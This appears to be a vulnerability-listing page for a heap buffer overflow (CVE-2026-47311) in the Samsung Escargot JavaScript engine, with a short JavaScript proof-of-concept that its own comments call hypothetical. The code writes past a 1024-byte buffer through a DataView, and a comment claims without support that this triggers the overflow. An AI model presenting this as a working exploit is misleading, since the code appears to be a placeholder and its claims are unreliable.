CVE-2026-47311 Samsung Escargot堆缓冲区溢出漏洞

// PoC Concept for Heap Buffer Overflow in Escargot // This is a hypothetical demonstration of triggering the overflow function triggerOverflow() { // Attempting to allocate a buffer and writing beyond its bounds // based on the vulnerability description. var size = 1024; var buffer = new ArrayBuffer(size); var view = new DataView(buffer); // Malicious input that exceeds the allocated buffer size var maliciousData = new Uint8Array(2048); // Simulate the overflow condition (Hypothetical) // In a real scenario, this would involve specific engine API calls for (var i = 0; i < maliciousData.length; i++) { // This line would cause the overflow in the vulnerable version view.setUint8(i, maliciousData[i]); } console.log("Overflow attempt completed."); } triggerOverflow();